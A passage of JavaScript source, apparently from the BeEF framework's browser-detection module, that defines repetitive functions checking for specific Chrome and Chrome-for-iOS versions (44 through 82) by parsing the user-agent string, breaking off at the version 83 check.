  6831.     isC44iOS: function () {
  6832.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
  6833.     },
  6834.  
  6835.     /**
  6836.      * Returns true if Chrome 45.
  6837.      * @example: beef.browser.isC45()
  6838.      */
  6839.     isC45: function () {
  6840.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
  6841.     },
  6842.  
  6843.     /**
  6844.      * Returns true if Chrome for iOS 45.
  6845.      * @example: beef.browser.isC45iOS()
  6846.      */
  6847.     isC45iOS: function () {
  6848.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
  6849.     },
  6850.  
  6851.     /**
  6852.      * Returns true if Chrome 46.
  6853.      * @example: beef.browser.isC46()
  6854.      */
  6855.     isC46: function () {
  6856.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
  6857.     },
  6858.  
  6859.     /**
  6860.      * Returns true if Chrome for iOS 46.
  6861.      * @example: beef.browser.isC46iOS()
  6862.      */
  6863.     isC46iOS: function () {
  6864.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 46) ? true : false);
  6865.     },
  6866.  
  6867.     /**
  6868.      * Returns true if Chrome 47.
  6869.      * @example: beef.browser.isC47()
  6870.      */
  6871.     isC47: function () {
  6872.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
  6873.     },
  6874.  
  6875.     /**
  6876.      * Returns true if Chrome for iOS 47.
  6877.      * @example: beef.browser.isC47iOS()
  6878.      */
  6879.     isC47iOS: function () {
  6880.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 47) ? true : false);
  6881.     },
  6882.  
  6883.     /**
  6884.      * Returns true if Chrome 48.
  6885.      * @example: beef.browser.isC48()
  6886.      */
  6887.     isC48: function () {
  6888.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 48) ? true : false);
  6889.     },
  6890.  
  6891.     /**
  6892.      * Returns true if Chrome for iOS 48.
  6893.      * @example: beef.browser.isC48iOS()
  6894.      */
  6895.     isC48iOS: function () {
  6896.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 48) ? true : false);
  6897.     },
  6898.  
  6899.     /**
  6900.      * Returns true if Chrome 49.
  6901.      * @example: beef.browser.isC49()
  6902.      */
  6903.     isC49: function () {
  6904.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 49) ? true : false);
  6905.     },
  6906.  
  6907.     /**
  6908.      * Returns true if Chrome for iOS 49.
  6909.      * @example: beef.browser.isC49iOS()
  6910.      */
  6911.     isC49iOS: function () {
  6912.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 49) ? true : false);
  6913.     },
  6914.  
  6915.     /**
  6916.      * Returns true if Chrome 50.
  6917.      * @example: beef.browser.isC50()
  6918.      */
  6919.     isC50: function () {
  6920.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 50) ? true : false);
  6921.     },
  6922.  
  6923.     /**
  6924.      * Returns true if Chrome for iOS 50.
  6925.      * @example: beef.browser.isC50iOS()
  6926.      */
  6927.     isC50iOS: function () {
  6928.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 50) ? true : false);
  6929.     },
  6930.  
  6931.     /**
  6932.      * Returns true if Chrome 51.
  6933.      * @example: beef.browser.isC51()
  6934.      */
  6935.     isC51: function () {
  6936.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 51) ? true : false);
  6937.     },
  6938.  
  6939.     /**
  6940.      * Returns true if Chrome for iOS 51.
  6941.      * @example: beef.browser.isC51iOS()
  6942.      */
  6943.     isC51iOS: function () {
  6944.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 51) ? true : false);
  6945.     },
  6946.  
  6947.     /**
  6948.      * Returns true if Chrome 52.
  6949.      * @example: beef.browser.isC52()
  6950.      */
  6951.     isC52: function () {
  6952.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 52) ? true : false);
  6953.     },
  6954.  
  6955.     /**
  6956.      * Returns true if Chrome for iOS 52.
  6957.      * @example: beef.browser.isC52iOS()
  6958.      */
  6959.     isC52iOS: function () {
  6960.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 52) ? true : false);
  6961.     },
  6962.  
  6963.     /**
  6964.      * Returns true if Chrome 53.
  6965.      * @example: beef.browser.isC53()
  6966.      */
  6967.     isC53: function () {
  6968.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 53) ? true : false);
  6969.     },
  6970.  
  6971.     /**
  6972.      * Returns true if Chrome for iOS 53.
  6973.      * @example: beef.browser.isC53iOS()
  6974.      */
  6975.     isC53iOS: function () {
  6976.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 53) ? true : false);
  6977.     },
  6978.  
  6979.     /**
  6980.      * Returns true if Chrome 54.
  6981.      * @example: beef.browser.isC54()
  6982.      */
  6983.     isC54: function () {
  6984.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 54) ? true : false);
  6985.     },
  6986.  
  6987.     /**
  6988.      * Returns true if Chrome for iOS 54.
  6989.      * @example: beef.browser.isC54iOS()
  6990.      */
  6991.     isC54iOS: function () {
  6992.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 54) ? true : false);
  6993.     },
  6994.  
  6995.     /**
  6996.      * Returns true if Chrome 55.
  6997.      * @example: beef.browser.isC55()
  6998.      */
  6999.     isC55: function () {
  7000.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 55) ? true : false);
  7001.     },
  7002.  
  7003.     /**
  7004.      * Returns true if Chrome for iOS 55.
  7005.      * @example: beef.browser.isC55iOS()
  7006.      */
  7007.     isC55iOS: function () {
  7008.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 55) ? true : false);
  7009.     },
  7010.  
  7011.     /**
  7012.      * Returns true if Chrome 56.
  7013.      * @example: beef.browser.isC56()
  7014.      */
  7015.     isC56: function () {
  7016.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 56) ? true : false);
  7017.     },
  7018.  
  7019.     /**
  7020.      * Returns true if Chrome for iOS 56.
  7021.      * @example: beef.browser.isC56iOS()
  7022.      */
  7023.     isC56iOS: function () {
  7024.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 56) ? true : false);
  7025.     },
  7026.  
  7027.     /**
  7028.      * Returns true if Chrome 57.
  7029.      * @example: beef.browser.isC57()
  7030.      */
  7031.     isC57: function () {
  7032.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 57) ? true : false);
  7033.     },
  7034.  
  7035.     /**
  7036.      * Returns true if Chrome for iOS 57.
  7037.      * @example: beef.browser.isC57iOS()
  7038.      */
  7039.     isC57iOS: function () {
  7040.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 57) ? true : false);
  7041.     },
  7042.  
  7043.     /**
  7044.      * Returns true if Chrome 58.
  7045.      * @example: beef.browser.isC58()
  7046.      */
  7047.     isC58: function () {
  7048.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 58) ? true : false);
  7049.     },
  7050.  
  7051.     /**
  7052.      * Returns true if Chrome for iOS 58.
  7053.      * @example: beef.browser.isC58iOS()
  7054.      */
  7055.     isC58iOS: function () {
  7056.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 58) ? true : false);
  7057.     },
  7058.  
  7059.     /**
  7060.      * Returns true if Chrome 59.
  7061.      * @example: beef.browser.isC59()
  7062.      */
  7063.     isC59: function () {
  7064.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 59) ? true : false);
  7065.     },
  7066.  
  7067.     /**
  7068.      * Returns true if Chrome for iOS 59.
  7069.      * @example: beef.browser.isC59iOS()
  7070.      */
  7071.     isC59iOS: function () {
  7072.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 59) ? true : false);
  7073.     },
  7074.  
  7075.     /**
  7076.      * Returns true if Chrome 60.
  7077.      * @example: beef.browser.isC60()
  7078.      */
  7079.     isC60: function () {
  7080.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 60) ? true : false);
  7081.     },
  7082.  
  7083.     /**
  7084.      * Returns true if Chrome for iOS 60.
  7085.      * @example: beef.browser.isC60iOS()
  7086.      */
  7087.     isC60iOS: function () {
  7088.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 60) ? true : false);
  7089.     },
  7090.  
  7091.     /**
  7092.      * Returns true if Chrome 61.
  7093.      * @example: beef.browser.isC61()
  7094.      */
  7095.     isC61: function () {
  7096.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 61) ? true : false);
  7097.     },
  7098.  
  7099.     /**
  7100.      * Returns true if Chrome for iOS 61.
  7101.      * @example: beef.browser.isC61iOS()
  7102.      */
  7103.     isC61iOS: function () {
  7104.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 61) ? true : false);
  7105.     },
  7106.  
  7107.     /**
  7108.      * Returns true if Chrome 62.
  7109.      * @example: beef.browser.isC62()
  7110.      */
  7111.     isC62: function () {
  7112.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 62) ? true : false);
  7113.     },
  7114.  
  7115.     /**
  7116.      * Returns true if Chrome for iOS 62.
  7117.      * @example: beef.browser.isC62iOS()
  7118.      */
  7119.     isC62iOS: function () {
  7120.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 62) ? true : false);
  7121.     },
  7122.  
  7123.     /**
  7124.      * Returns true if Chrome 63.
  7125.      * @example: beef.browser.isC63()
  7126.      */
  7127.     isC63: function () {
  7128.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 63) ? true : false);
  7129.     },
  7130.  
  7131.     /**
  7132.      * Returns true if Chrome for iOS 63.
  7133.      * @example: beef.browser.isC63iOS()
  7134.      */
  7135.     isC63iOS: function () {
  7136.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 63) ? true : false);
  7137.     },
  7138.  
  7139.     /**
  7140.      * Returns true if Chrome 64.
  7141.      * @example: beef.browser.isC64()
  7142.      */
  7143.     isC64: function () {
  7144.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 64) ? true : false);
  7145.     },
  7146.  
  7147.     /**
  7148.      * Returns true if Chrome for iOS 64.
  7149.      * @example: beef.browser.isC64iOS()
  7150.      */
  7151.     isC64iOS: function () {
  7152.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 64) ? true : false);
  7153.     },
  7154.  
  7155.     /**
  7156.      * Returns true if Chrome 65.
  7157.      * @example: beef.browser.isC65()
  7158.      */
  7159.     isC65: function () {
  7160.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 65) ? true : false);
  7161.     },
  7162.  
  7163.     /**
  7164.      * Returns true if Chrome for iOS 65.
  7165.      * @example: beef.browser.isC65iOS()
  7166.      */
  7167.     isC65iOS: function () {
  7168.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 65) ? true : false);
  7169.     },
  7170.  
  7171.     /**
  7172.      * Returns true if Chrome 66.
  7173.      * @example: beef.browser.isC66()
  7174.      */
  7175.     isC66: function () {
  7176.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 66) ? true : false);
  7177.     },
  7178.  
  7179.     /**
  7180.      * Returns true if Chrome for iOS 66.
  7181.      * @example: beef.browser.isC66iOS()
  7182.      */
  7183.     isC66iOS: function () {
  7184.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 66) ? true : false);
  7185.     },
  7186.  
  7187.     /**
  7188.      * Returns true if Chrome 67.
  7189.      * @example: beef.browser.isC67()
  7190.      */
  7191.     isC67: function () {
  7192.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 67) ? true : false);
  7193.     },
  7194.  
  7195.     /**
  7196.      * Returns true if Chrome for iOS 67.
  7197.      * @example: beef.browser.isC67iOS()
  7198.      */
  7199.     isC67iOS: function () {
  7200.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 67) ? true : false);
  7201.     },
  7202.  
  7203.     /**
  7204.      * Returns true if Chrome 68.
  7205.      * @example: beef.browser.isC68()
  7206.      */
  7207.     isC68: function () {
  7208.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 68) ? true : false);
  7209.     },
  7210.  
  7211.     /**
  7212.      * Returns true if Chrome for iOS 68.
  7213.      * @example: beef.browser.isC68iOS()
  7214.      */
  7215.     isC68iOS: function () {
  7216.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 68) ? true : false);
  7217.     },
  7218.  
  7219.     /**
  7220.      * Returns true if Chrome 69.
  7221.      * @example: beef.browser.isC69()
  7222.      */
  7223.     isC69: function () {
  7224.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 69) ? true : false);
  7225.     },
  7226.  
  7227.     /**
  7228.      * Returns true if Chrome for iOS 69.
  7229.      * @example: beef.browser.isC69iOS()
  7230.      */
  7231.     isC69iOS: function () {
  7232.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 69) ? true : false);
  7233.     },
  7234.  
  7235.     /**
  7236.      * Returns true if Chrome 70.
  7237.      * @example: beef.browser.isC70()
  7238.      */
  7239.     isC70: function () {
  7240.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 70) ? true : false);
  7241.     },
  7242.  
  7243.     /**
  7244.      * Returns true if Chrome for iOS 70.
  7245.      * @example: beef.browser.isC70iOS()
  7246.      */
  7247.     isC70iOS: function () {
  7248.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 70) ? true : false);
  7249.     },
  7250.  
  7251.     /**
  7252.      * Returns true if Chrome 71.
  7253.      * @example: beef.browser.isC71()
  7254.      */
  7255.     isC71: function () {
  7256.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 71) ? true : false);
  7257.     },
  7258.  
  7259.     /**
  7260.      * Returns true if Chrome for iOS 71.
  7261.      * @example: beef.browser.isC71iOS()
  7262.      */
  7263.     isC71iOS: function () {
  7264.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 71) ? true : false);
  7265.     },
  7266.  
  7267.     /**
  7268.      * Returns true if Chrome 72.
  7269.      * @example: beef.browser.isC72()
  7270.      */
  7271.     isC72: function () {
  7272.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 72) ? true : false);
  7273.     },
  7274.  
  7275.     /**
  7276.      * Returns true if Chrome for iOS 72.
  7277.      * @example: beef.browser.isC72iOS()
  7278.      */
  7279.     isC72iOS: function () {
  7280.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 72) ? true : false);
  7281.     },
  7282.  
  7283.     /**
  7284.      * Returns true if Chrome 73.
  7285.      * @example: beef.browser.isC73()
  7286.      */
  7287.     isC73: function () {
  7288.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 73) ? true : false);
  7289.     },
  7290.  
  7291.     /**
  7292.      * Returns true if Chrome for iOS 73.
  7293.      * @example: beef.browser.isC73iOS()
  7294.      */
  7295.     isC73iOS: function () {
  7296.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 73) ? true : false);
  7297.     },
  7298.  
  7299.     /**
  7300.      * Returns true if Chrome 74.
  7301.      * @example: beef.browser.isC74()
  7302.      */
  7303.     isC74: function () {
  7304.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 74) ? true : false);
  7305.     },
  7306.  
  7307.     /**
  7308.      * Returns true if Chrome for iOS 74.
  7309.      * @example: beef.browser.isC74iOS()
  7310.      */
  7311.     isC74iOS: function () {
  7312.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 74) ? true : false);
  7313.     },
  7314.  
  7315.     /**
  7316.      * Returns true if Chrome 75.
  7317.      * @example: beef.browser.isC75()
  7318.      */
  7319.     isC75: function () {
  7320.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 75) ? true : false);
  7321.     },
  7322.  
  7323.     /**
  7324.      * Returns true if Chrome for iOS 75.
  7325.      * @example: beef.browser.isC75iOS()
  7326.      */
  7327.     isC75iOS: function () {
  7328.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 75) ? true : false);
  7329.     },
  7330.  
  7331.     /**
  7332.      * Returns true if Chrome 76.
  7333.      * @example: beef.browser.isC76()
  7334.      */
  7335.     isC76: function () {
  7336.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 76) ? true : false);
  7337.     },
  7338.  
  7339.     /**
  7340.      * Returns true if Chrome for iOS 76.
  7341.      * @example: beef.browser.isC76iOS()
  7342.      */
  7343.     isC76iOS: function () {
  7344.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 76) ? true : false);
  7345.     },
  7346.  
  7347.     /**
  7348.      * Returns true if Chrome 77.
  7349.      * @example: beef.browser.isC77()
  7350.      */
  7351.     isC77: function () {
  7352.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 77) ? true : false);
  7353.     },
  7354.  
  7355.     /**
  7356.      * Returns true if Chrome for iOS 77.
  7357.      * @example: beef.browser.isC77iOS()
  7358.      */
  7359.     isC77iOS: function () {
  7360.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 77) ? true : false);
  7361.     },
  7362.  
  7363.     /**
  7364.      * Returns true if Chrome 78.
  7365.      * @example: beef.browser.isC78()
  7366.      */
  7367.     isC78: function () {
  7368.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 78) ? true : false);
  7369.     },
  7370.  
  7371.     /**
  7372.      * Returns true if Chrome for iOS 78.
  7373.      * @example: beef.browser.isC78iOS()
  7374.      */
  7375.     isC78iOS: function () {
  7376.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 78) ? true : false);
  7377.     },
  7378.  
  7379.     /**
  7380.      * Returns true if Chrome 79.
  7381.      * @example: beef.browser.isC79()
  7382.      */
  7383.     isC79: function () {
  7384.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 79) ? true : false);
  7385.     },
  7386.  
  7387.     /**
  7388.      * Returns true if Chrome for iOS 79.
  7389.      * @example: beef.browser.isC79iOS()
  7390.      */
  7391.     isC79iOS: function () {
  7392.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 79) ? true : false);
  7393.     },
  7394.  
  7395.     /**
  7396.      * Returns true if Chrome 80.
  7397.      * @example: beef.browser.isC80()
  7398.      */
  7399.     isC80: function () {
  7400.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 80) ? true : false);
  7401.     },
  7402.  
  7403.     /**
  7404.      * Returns true if Chrome for iOS 80.
  7405.      * @example: beef.browser.isC80iOS()
  7406.      */
  7407.     isC80iOS: function () {
  7408.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 80) ? true : false);
  7409.     },
  7410.  
  7411.     /**
  7412.      * Returns true if Chrome 81.
  7413.      * @example: beef.browser.isC81()
  7414.      */
  7415.     isC81: function () {
  7416.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 81) ? true : false);
  7417.     },
  7418.  
  7419.     /**
  7420.      * Returns true if Chrome for iOS 81.
  7421.      * @example: beef.browser.isC81iOS()
  7422.      */
  7423.     isC81iOS: function () {
  7424.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 81) ? true : false);
  7425.     },
  7426.  
  7427.     /**
  7428.      * Returns true if Chrome 82.
  7429.      * @example: beef.browser.isC82()
  7430.      */
  7431.     isC82: function () {
  7432.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 82) ? true : false);
  7433.     },
  7434.  
  7435.     /**
  7436.      * Returns true if Chrome for iOS 82.
  7437.      * @example: beef.browser.isC82iOS()
  7438.      */
  7439.     isC82iOS: function () {
  7440.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 82) ? true : false);
  7441.     },
  7442.  
  7443.     /**
  7444.      * Returns true if Chrome 83.
  7445.      * @example: beef.browser.isC83()
  7446.      */
  7447.     isC83: function () {
